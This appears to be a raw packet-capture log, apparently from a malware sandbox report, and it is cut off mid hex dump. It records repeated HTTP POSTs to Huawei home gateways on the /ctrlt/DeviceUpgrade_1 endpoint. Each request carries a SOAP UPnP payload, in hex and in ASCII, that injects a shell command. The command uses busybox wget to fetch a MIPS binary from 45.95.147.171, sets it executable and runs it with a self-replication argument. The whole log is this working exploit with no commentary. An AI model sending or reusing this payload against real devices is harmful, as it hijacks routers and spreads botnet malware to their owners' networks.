3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:19:38.441967964 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:19:42.602056980 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:19:43.355789900 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:19:44.828140020 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:19:44.964906931 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:19:45.285049915 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:19:55.432353020 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:19:56.923757076 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:19:57.213998079 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:20:04.124910116 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:20:04.428855896 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:20:28.998476982 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:20:29.300079107 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:20:33.549314976 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 